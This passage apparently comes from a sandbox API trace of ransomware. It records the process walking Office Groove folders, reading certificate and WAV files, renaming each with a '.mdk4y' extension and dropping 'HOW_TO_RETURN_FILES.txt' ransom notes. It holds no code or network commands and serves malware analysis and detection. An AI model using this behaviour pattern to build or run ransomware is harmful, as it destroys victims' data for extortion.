(in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0213.497] AreFileApisANSI () returned 1 [0213.497] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x691c88, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 98 [0213.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe0 [0213.569] GetFileType (hFile=0xe0) returned 0x1 [0213.570] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0213.570] AreFileApisANSI () returned 1 [0213.570] GetACP () returned 0x4e4 [0213.570] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Verisign", cchWideChar=8, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Verisignet", lpUsedDefaultChar=0x37dec0) returned 8 [0213.570] AreFileApisANSI () returned 1 [0213.570] GetACP () returned 0x4e4 [0213.570] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a9898, cbMultiByte=72, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\ᲈi\x01") returned 72 [0213.580] AreFileApisANSI () returned 1 [0213.580] GetACP () returned 0x4e4 [0213.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37de34) returned 1 [0213.580] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0213.580] AreFileApisANSI () returned 1 [0213.580] GetACP () returned 0x4e4 [0213.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37de34) returned 2 [0213.581] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0213.581] AreFileApisANSI () returned 1 [0213.581] GetACP () returned 0x4e4 [0213.581] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Components", cchWideChar=10, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="ComponentstefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37de34) returned 10 [0213.581] AreFileApisANSI () returned 1 [0213.581] GetACP () returned 0x4e4 [0213.581] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6b9f70, cbMultiByte=83, lpWideCharStr=0x37dbc8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\瞈㲣瞈鑖瞣_") returned 83 [0213.582] AreFileApisANSI () returned 1 [0213.582] GetACP () returned 0x4e4 [0213.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr=".4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pV6TOktr2CXX/gKMzD3vIDhAO6cYmX03onBSbc1cpSqlJOR5O\x98-l", lpUsedDefaultChar=0x37dda8) returned 1 [0213.582] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0213.582] AreFileApisANSI () returned 1 [0213.582] GetACP () returned 0x4e4 [0213.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="..rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pV6TOktr2CXX/gKMzD3vIDhAO6cYmX03onBSbc1cpSqlJOR5O\x98-l", lpUsedDefaultChar=0x37dda8) returned 2 [0213.582] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0213.582] AreFileApisANSI () returned 1 [0213.582] GetACP () returned 0x4e4 [0213.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VeriSign_Class_3_Code_Signing_2001-4_CA.cer", cchWideChar=43, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="VeriSign_Class_3_Code_Signing_2001-4_CA.cerepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pV6TOktr2CXX/gKMzD3vIDhAO6cYmX03onBSbc1cpSqlJOR5O\x98-l", lpUsedDefaultChar=0x37dda8) returned 43 [0213.583] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VeriSign_Class_3_Code_Signing_2001-4_CA.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\verisign_class_3_code_signing_2001-4_ca.cer"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0213.583] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1828881300000) returned 1 [0213.583] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x3ae, lpOverlapped=0x0) returned 1 [0213.587] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1828881700000) returned 1 [0213.587] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1828881700000) returned 1 [0213.587] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VeriSign_Class_3_Code_Signing_2001-4_CA.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\verisign_class_3_code_signing_2001-4_ca.cer"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VeriSign_Class_3_Code_Signing_2001-4_CA.cer.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\verisign_class_3_code_signing_2001-4_ca.cer.mdk4y")) returned 1 [0213.588] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0213.588] AreFileApisANSI () returned 1 [0213.588] GetACP () returned 0x4e4 [0213.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VeriSign_Class_3_Public_Primary_CA.cer", cchWideChar=38, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="VeriSign_Class_3_Public_Primary_CA.cerA.cer", lpUsedDefaultChar=0x37dda8) returned 38 [0213.589] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VeriSign_Class_3_Public_Primary_CA.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\verisign_class_3_public_primary_ca.cer"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0213.589] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1828881900000) returned 1 [0213.589] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x240, lpOverlapped=0x0) returned 1 [0213.613] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1828884300000) returned 1 [0213.613] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1828884300000) returned 1 [0213.613] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VeriSign_Class_3_Public_Primary_CA.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\verisign_class_3_public_primary_ca.cer"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VeriSign_Class_3_Public_Primary_CA.cer.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\verisign_class_3_public_primary_ca.cer.mdk4y")) returned 1 [0213.614] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0213.614] AreFileApisANSI () returned 1 [0213.614] GetACP () returned 0x4e4 [0213.614] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VS_ComponentSigningIntermediate.cer", cchWideChar=35, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="VS_ComponentSigningIntermediate.cercer", lpUsedDefaultChar=0x37dda8) returned 35 [0213.614] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VS_ComponentSigningIntermediate.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\vs_componentsigningintermediate.cer"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0213.615] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1828884500000) returned 1 [0213.615] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x38b, lpOverlapped=0x0) returned 1 [0213.616] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1828884600000) returned 1 [0213.616] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1828884600000) returned 1 [0213.616] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VS_ComponentSigningIntermediate.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\vs_componentsigningintermediate.cer"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VS_ComponentSigningIntermediate.cer.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\vs_componentsigningintermediate.cer.mdk4y")) returned 1 [0213.617] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 0 [0213.617] FindClose (in: hFindFile=0x6ab3d0 | out: hFindFile=0x6ab3d0) returned 1 [0213.618] AreFileApisANSI () returned 1 [0213.618] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6c0098, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0213.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dae0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.618] GetFileType (hFile=0x130) returned 0x1 [0213.619] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 0 [0213.619] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0213.619] AreFileApisANSI () returned 1 [0213.619] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x691c88, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 96 [0213.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe0 [0213.620] GetFileType (hFile=0xe0) returned 0x1 [0213.621] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 0 [0213.621] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0213.621] AreFileApisANSI () returned 1 [0213.621] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0213.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd8 [0213.622] GetFileType (hFile=0xd8) returned 0x1 [0213.622] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0213.622] AreFileApisANSI () returned 1 [0213.623] GetACP () returned 0x4e4 [0213.623] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Sounds", cchWideChar=6, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Soundsicates", lpUsedDefaultChar=0x37df4c) returned 6 [0213.623] AreFileApisANSI () returned 1 [0213.623] GetACP () returned 0x4e4 [0213.623] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=57, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\j\x04") returned 57 [0213.623] AreFileApisANSI () returned 1 [0213.623] GetACP () returned 0x4e4 [0213.623] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 1 [0213.623] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0213.623] AreFileApisANSI () returned 1 [0213.623] GetACP () returned 0x4e4 [0213.623] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 2 [0213.624] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0213.624] AreFileApisANSI () returned 1 [0213.624] GetACP () returned 0x4e4 [0213.624] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="People", cchWideChar=6, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PeopleOxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 6 [0213.624] AreFileApisANSI () returned 1 [0213.624] GetACP () returned 0x4e4 [0213.624] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6b9f70, cbMultiByte=64, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\?") returned 64 [0213.645] AreFileApisANSI () returned 1 [0213.645] GetACP () returned 0x4e4 [0213.645] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x10)l", lpUsedDefaultChar=0x37de34) returned 1 [0213.645] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0213.645] AreFileApisANSI () returned 1 [0213.645] GetACP () returned 0x4e4 [0213.645] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x10)l", lpUsedDefaultChar=0x37de34) returned 2 [0213.645] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0213.645] AreFileApisANSI () returned 1 [0213.645] GetACP () returned 0x4e4 [0213.645] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="COUGH.WAV", cchWideChar=9, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="COUGH.WAVotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x10)l", lpUsedDefaultChar=0x37de34) returned 9 [0213.646] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\COUGH.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\cough.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0213.647] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828887700000) returned 1 [0213.647] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x6bd4, lpOverlapped=0x0) returned 1 [0213.648] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828887800000) returned 1 [0213.648] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828887800000) returned 1 [0213.649] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\COUGH.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\cough.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\COUGH.WAV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\cough.wav.mdk4y")) returned 1 [0213.650] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0213.650] AreFileApisANSI () returned 1 [0213.650] GetACP () returned 0x4e4 [0213.650] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GIGGLE.WAV", cchWideChar=10, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="GIGGLE.WAVtefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x10)l", lpUsedDefaultChar=0x37de34) returned 10 [0213.650] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\GIGGLE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\giggle.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0213.651] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828888100000) returned 1 [0213.651] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x7860, lpOverlapped=0x0) returned 1 [0213.670] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828890000000) returned 1 [0213.670] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828890000000) returned 1 [0213.671] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\GIGGLE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\giggle.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\GIGGLE.WAV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\giggle.wav.mdk4y")) returned 1 [0213.673] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0213.673] AreFileApisANSI () returned 1 [0213.673] GetACP () returned 0x4e4 [0213.673] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HICCUP.WAV", cchWideChar=10, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="HICCUP.WAV", lpUsedDefaultChar=0x37de34) returned 10 [0213.673] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\HICCUP.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\hiccup.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0213.673] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828890300000) returned 1 [0213.673] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x38ea, lpOverlapped=0x0) returned 1 [0213.675] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828890500000) returned 1 [0213.675] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc 